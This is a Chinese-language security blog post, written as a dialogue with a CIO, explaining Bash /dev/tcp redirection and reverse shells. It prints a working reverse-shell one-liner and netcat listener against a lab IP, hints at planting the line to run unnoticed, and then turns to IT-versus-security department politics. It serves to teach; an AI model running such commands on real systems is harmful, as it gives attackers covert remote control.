iT邦幫忙

第 11 屆 iThome 鐵人賽

DAY 22
5
Security

那個夜裡的資安系列 第 23

那個夜裡的資安-22(Reverse Shell)

  • 分享至 

  • xImage
  •  

『在Linux的世界中,有一個特別的存在,像和人類世界中的一樣。這個存在,特別的地方是,我們看不見它,但它存在。』

「你要跟我討論哲學?」

『那有什好討論的? 我們看不見它,但它存在的事情,在人類世界中太多了。』

「重點...不要再廢話了。」

『像是/dev 這個資料夾裡面,是Linux對所有裝置的展現方式。』

「這我知道啊。」

『那 /dev/tcp 或 /dev/udp 妳找的到嗎?』

「我看一下......沒有耶...」

『對啊,但是這兩個位置是存在的。使用法方是 /dev/tcp/ip/port,比如 192.168.1.1的 9527port,就是/dev/tcp/192.168.1.1/9527。』

「那你剛問我的,ls > /dev/tcp/192.168.1.1/9527 ......就是說會把ls結果,轉送到 192.168.1.1的9527 port ?」

『是啊...有一個專有名詞,叫做 reverse shell,這個專有名詞的範圍,適用於CentOS裡的Bash Shell,在網路上有很多範例可以查,資訊長有空可以慢慢看...但,我們還是需要知道原理。

而原理,就是來自Streams。』

「原來是這樣...那問你,stdout和strderr 可以重新導向,stdint也可以重新導向嗎?」

『可以的,像是我們平常可能會用

cat filename | grep "sometext",對吧?

也可以改成grep "somtext" < filename。』

「我還是不懂,這是重點嗎?」

『重點是,我們可以透過這樣的機制,讓使用者在操作系統時,將畫面轉送到我們指定的地方,或是,我們可以用這樣的方式,從遠端在符合規則的情況下,操作系統。』

「這是繞口令?」

『不是好嗎...是一種方法...』

「什麼方法? 滲透測試?」

『是啊,這是駭客使用的一種方法,也是許多資安認證會考出來的內容之一。』

「那你做一次我看看好了,體驗一下,是什麼樣的感覺。」

『好的,現在有兩台機器,一台叫做外部,一台叫做內部

程序是

1.外部的主機,開起一個port,例如,9527 port。
nc -lvp 9527

2.內部先傳送一行指令看看,外部是否能收到。

#發送端將echo輸出,送到發動端#rsh_1 2 3 .png
*echo "Hello World" > /dev/tcp/192.168.5.4/9527

https://ithelp.ithome.com.tw/upload/images/20190928/20006132mfoDbSHyKT.png

確定有收到之後,我們開始將內部所有的輸出,都轉到外部
#發送端將所有輸出,傳送到發動端#rsh_4.png
*bash -i > /dev/tcp/192.168.5.4/9527

https://ithelp.ithome.com.tw/upload/images/20190928/20006132tQSfER8ZsH.png

可是這樣,有點麻煩...因為有可能,我人在外部,我根本沒機會操作到內部的主機,所以,我必需在第一次連線時,就要有辦法,可以在外部這台機器上,操控內部這台機器,因此,我需要修改一下我連線的方式

*bash -i > /dev/tcp/192.168.5.4/9527 0>&1 2>&1

然後,把這個指令,放到任何只能能起動的地方,只要起動,內部可以正常使用不會有任何感覺,外部也可正常使用,不會有任何感覺。

像下面畫面,下面視窗是外部,上面是窗是內部,外部與內部連線建立後,我就可以做我想做的事了。

https://ithelp.ithome.com.tw/upload/images/20190928/200061326FpF8viJvK.png

「這會不會太誇張啊,不過為什麼都是Hello World啊? 」

『Hello World不是大家都在用的嗎?...這對那些駭客來說,是很普通的日常吧。另外,再說一件事...為什麼妳會允許妳的主機,可以執行這樣的script?』

「但是也...」

『資訊長,百分之80的資安事件,來知於百分之20的未知手法...妳該擔心的是什麼? 那剩下百分之20的資安事件,妳有沒有辦法防範吧。』

「也對,但我是資訊長,我們資訊部門最重要的目標,是系統要穩定,而且是持續性穩定。我又不是資安部門的...我管他那麼多...就好像資安部門,也不會管我們,到底行不行,或是為了要符合什麼policy,我們必需要調整,調整完之後,系統不穩定,又全都是資訊部門的責任,你說,這到底是為了什麼?」

『為了......等等多喝一杯咖啡吧,誰知道...不過,應該這樣說,如果發生資安事件,嚴重到是否還能經營的那種層面,我想...妳再堅持,妳是資訊長,妳的資訊部門重要目標,也沒什麼意義了。

資訊安全,本身不就是為了組織或企業,要能持續營運,才制定出來的嗎? 為了幫助協助妳口中的,持續性穩定,制定出了資訊安全政策...主角還是資訊部門啊,只是我不懂,為什麼有了資安部門之後,資訊部門就像小媳婦一樣,台灣的環境還滿妙的。』

「是這樣嗎?」

『不是嗎? 資訊長,想清楚資訊安全的本質,為什麼會有資訊安全政策。』

「你又在唬我?」

『以前,台北市萬華區西昌街,有一棟樓,是某間銀行的機房,當時,要進到機房裡面,需在樓下櫃台換證件,那櫃台的警衛,口氣差到不行,態度差到每個去換證的人,都好像欠他們警衛公司幾億這樣。

然後,會有聯絡人到櫃台帶人上樓,上樓到機房後,要再登記一次。進到機房後,會有隨行人員,站在你旁邊,緊緊盯著你,看你在幹嘛。』

「這很正常啊...」

『不好意思,後來,那間銀行消失在台灣了,但那棟樓還在,現在是不知道幹嘛的店...出入根本不用登記,可不對啊,以前不是這樣子耶...以前都很講資安,很講ISO啊...現在呢...』

「你這不是廢話嗎? 那銀行都沒了,是要什麼.......................我講不過你,我喝咖啡...對了,還有那個什麼和什麼....,你也順便講一下吧。」

(待)

2019/09/28 SunAllen


上一篇
那個夜裡的資安-21(Linux Streams)
下一篇
那個夜裡的資安-23(visudo&Firewalld)
系列文
那個夜裡的資安35
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

1 則留言

0
彭偉鎧
iT邦研究生 3 級 ‧ 2019-09-28 23:54:20

台北市萬華區西昌街...ummmm....

SunAllen iT邦研究生 1 級 ‧ 2019-09-29 00:03:07 檢舉

已經不存在的誠泰銀行機房

我要留言

立即登入留言